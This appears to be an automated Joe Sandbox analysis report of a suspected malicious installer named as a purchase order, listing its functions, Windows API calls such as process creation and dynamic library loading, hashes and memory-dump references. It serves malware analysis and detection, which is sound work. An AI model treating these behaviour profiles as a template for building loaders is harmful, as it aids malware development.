Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 64ed6ed63553c3debb963e99cdceae8c5f2f4ed38a401ee0c6b4ad6bb8aa7b6c
Instruction ID: 6c8b7a7afc7aeb3e996b6e5dc2b2c32cd2e79b991574bcf3a276c199f91445cd
Opcode Fuzzy Hash: 64ed6ed63553c3debb963e99cdceae8c5f2f4ed38a401ee0c6b4ad6bb8aa7b6c
Instruction Fuzzy Hash: C1D01232B04100D7DB10DBA4AF4899D73A49B84369B344577E102F11D0D6B9D9416A29

Function 0040427D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00010446,00000000,00000000,00000000), ref: 0040428F

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 044c555184de4d7a5f175320e579115887058accaecda6f3071fa169e0c3e565
Instruction ID: 5c868bdd594fc053bdde718b2d54d3bc7308835e7239c12b28f3ea995dd83e98
Opcode Fuzzy Hash: 044c555184de4d7a5f175320e579115887058accaecda6f3071fa169e0c3e565
Instruction Fuzzy Hash: 3EC09BB27443007BDE118F909D49F1777545790741F18447D7344F51E0D674D450D61C

Function 00403347 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004030A4,?,?,00000006,00000008,0000000A), ref: 00403355

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404266 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404091), ref: 00404274

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
Instruction ID: 35ea918b965a0e533a09ef3704f79fc1997eb74e27ad0e26ff3c84f6d98ddf78
Opcode Fuzzy Hash: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
Instruction Fuzzy Hash: ACB0923A180600AADE118B40DE4AF857A62F7A4701F018138B240640B0CAB200E0DB48

Function 004058E6 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 004058F5

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction ID: 322818d701d9cc3fc85427ca8463de8bac6637280c84b784c1803e53dd53602d
Opcode Fuzzy Hash: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction Fuzzy Hash: 55C092B2000200DFE301CF90CB08F067BF8AF59306F028058E1849A160C7788800CB69

Function 00404253 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040402A), ref: 0040425D

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 106f9cbea43f495b3a7615003be81b6b7a77907888ddc1815467e3f395259461
Instruction ID: 53e6378d439adf7425634a45181eb817498d90fd80a7d40cc762234469e1412e
Opcode Fuzzy Hash: 106f9cbea43f495b3a7615003be81b6b7a77907888ddc1815467e3f395259461
Instruction Fuzzy Hash: C5A00275544501DBCE115B50DF058057A61F7E47017514479A5555103486714461EB19

Function 6E422AAC Relevance: 1.4, APIs: 1, Instructions: 143memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 6E422B6B

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7e3dc7f9f99b8d867a8436687ad67187819d9be5cbbb8154271a1e3807a2520d
Instruction ID: 66ffe87fb056d42178762fb13f523e1839a36dfbd0dd6ec85530e27a10405798
Opcode Fuzzy Hash: 7e3dc7f9f99b8d867a8436687ad67187819d9be5cbbb8154271a1e3807a2520d
Instruction Fuzzy Hash: 034121715206049FDB20AFF5EE41F997768FB06368F20483BE5049BA04DF399445CBEA

Function 00401F06 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405322: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,0040327A,0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

Part of subcall function 004058A3: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 004058CC
Part of subcall function 004058A3: CloseHandle.KERNEL32(?), ref: 004058D9

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F4D

Part of subcall function 00406745: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406756
Part of subcall function 00406745: GetExitCodeProcess.KERNEL32(?,?), ref: 00406778

Part of subcall function 00406201: wsprintfW.USER32 ref: 0040620E

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 054540bee2fefd892e853d4b482315bab375db53780576269aa037752c2899f6
Instruction ID: 9073c6adce58ff193a4fc3832a7f1d33e0b572ffc6e746f3319226a0f770ccba
Opcode Fuzzy Hash: 054540bee2fefd892e853d4b482315bab375db53780576269aa037752c2899f6
Instruction Fuzzy Hash: 24F0F0329090219BDB20FBA189885DE72A49F44318B2441BBF902B20D1CBBC0E409A6E

Function 6E42121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6E42123B,?,6E4212DF,00000019,6E4211BE,-000000A0), ref: 6E421225

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: a5246a2ba642b3b15eb89831e2b525ed40891f9b22958874d5236eda769f73db
Instruction ID: 55acac7f60a0dab6570e38b628839da5deab2240e7f9844d4ceda7da9f95afba
Opcode Fuzzy Hash: a5246a2ba642b3b15eb89831e2b525ed40891f9b22958874d5236eda769f73db
Instruction Fuzzy Hash: ACB01270A00400DFEE00EB74DE06F343254E701301F044000F600D8184C5244C00C535

Non-executed Functions

Function 00404C9E Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404CB6
GetDlgItem.USER32(?,00000408), ref: 00404CC1
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D0B
LoadBitmapW.USER32(0000006E), ref: 00404D1E
SetWindowLongW.USER32(?,000000FC,00405296), ref: 00404D37
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D4B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D5D
SendMessageW.USER32(?,00001109,00000002), ref: 00404D73
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D7F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D91
DeleteObject.GDI32(00000000), ref: 00404D94
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404DBF
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DCB
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E61
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E8C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EA0
GetWindowLongW.USER32(?,000000F0), ref: 00404ECF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EDD
ShowWindow.USER32(?,00000005), ref: 00404EEE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FEB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405050
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405065
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405089
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004050A9
ImageList_Destroy.COMCTL32(?), ref: 004050BE
GlobalFree.KERNEL32(?), ref: 004050CE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405147
SendMessageW.USER32(?,00001102,?,?), ref: 004051F0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051FF
InvalidateRect.USER32(?,00000000,00000001), ref: 0040521F
ShowWindow.USER32(?,00000000), ref: 0040526D
GetDlgItem.USER32(?,000003FE), ref: 00405278
ShowWindow.USER32(00000000), ref: 0040527F

Strings

M, xrefs: 00404E48
, xrefs: 00405257
7y, xrefs: 00405225
N, xrefs: 00404F29

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: 7y$ $M$N
API String ID: 1638840714-4022178371
Opcode ID: 5854385e31bdc5075e0f37eedfad40e889ac39e283741073fea961f0a68adea0
Instruction ID: f888d98cc81d7f01a919363da6f821789f230268a52e2f70c0503caf05bd5b25
Opcode Fuzzy Hash: 5854385e31bdc5075e0f37eedfad40e889ac39e283741073fea961f0a68adea0
Instruction Fuzzy Hash: BB026FB0900209EFDB109FA4DD85AAE7BB5FB84314F14857AF610BA2E0C7799D52CF58

Function 00404722 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404771
SetWindowTextW.USER32(00000000,?), ref: 0040479B
SHBrowseForFolderW.SHELL32(?), ref: 0040484C
CoTaskMemFree.OLE32(00000000), ref: 00404857
lstrcmpiW.KERNEL32(Call,0042D248,00000000,?,?), ref: 00404889
lstrcatW.KERNEL32(?,Call), ref: 00404895
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004048A7

Part of subcall function 00405904: GetDlgItemTextW.USER32(?,?,00000400,004048DE), ref: 00405917

Part of subcall function 0040654E: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
Part of subcall function 0040654E: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
Part of subcall function 0040654E: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
Part of subcall function 0040654E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO 0309494059506060609696007.exe",0040336A,C:\Users\user\AppData\Local\Temp\,74DF3420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

GetDiskFreeSpaceW.KERNEL32(0042B218,?,?,0000040F,?,0042B218,0042B218,?,00000001,0042B218,?,?,000003FB,?), ref: 0040496A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404985

Part of subcall function 00404ADE: lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
Part of subcall function 00404ADE: wsprintfW.USER32 ref: 00404B88
Part of subcall function 00404ADE: SetDlgItemTextW.USER32(?,0042D248), ref: 00404B9B

Strings

A, xrefs: 00404845
7y, xrefs: 004049E1
C:\Users\user\AppData\Local\sillinesses, xrefs: 00404872
Call, xrefs: 00404883, 00404888, 00404893

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: 7y$A$C:\Users\user\AppData\Local\sillinesses$Call
API String ID: 2624150263-3878473756
Opcode ID: 082bc0490930ef8e8035292689f000cd26c8d3a875d56adfc8dbeaba50cc4ed4
Instruction ID: 9ce2ccc5872d7715d19bac2dec5c0444f9ce2fea2c0a51142092d54e0f15b7c0
Opcode Fuzzy Hash: 082bc0490930ef8e8035292689f000cd26c8d3a875d56adfc8dbeaba50cc4ed4
Instruction Fuzzy Hash: F8A165B1A00208ABDB11AFA5CD45AAFB7B8EF84314F10847BF601B62D1D77C99418F6D

Function 6E421B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E42121B: GlobalAlloc.KERNELBASE(00000040,?,6E42123B,?,6E4212DF,00000019,6E4211BE,-000000A0), ref: 6E421225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 6E421C6B
lstrcpyW.KERNEL32(00000008,?), ref: 6E421CB3
lstrcpyW.KERNEL32(00000808,?), ref: 6E421CBD
GlobalFree.KERNEL32(00000000), ref: 6E421CD0
GlobalFree.KERNEL32(?), ref: 6E421DB2
GlobalFree.KERNEL32(?), ref: 6E421DB7
GlobalFree.KERNEL32(?), ref: 6E421DBC
GlobalFree.KERNEL32(00000000), ref: 6E421FA6
lstrcpyW.KERNEL32(?,?), ref: 6E422140
GetModuleHandleW.KERNEL32(00000008), ref: 6E4221B5
LoadLibraryW.KERNEL32(00000008), ref: 6E4221C6
GetProcAddress.KERNEL32(?,?), ref: 6E422220
lstrlenW.KERNEL32(00000808), ref: 6E42223A

Memory Dump Source

Source File: 00000000.00000002.2313961688.000000006E421000.00000020.00000001.01000000.00000006.sdmp, Offset: 6E420000, based on PE: true

Associated: 00000000.00000002.2313936159.000000006E420000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2313981846.000000006E424000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2314004902.000000006E426000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e420000_PO 0309494059506060609696007.jbxd

Similarity

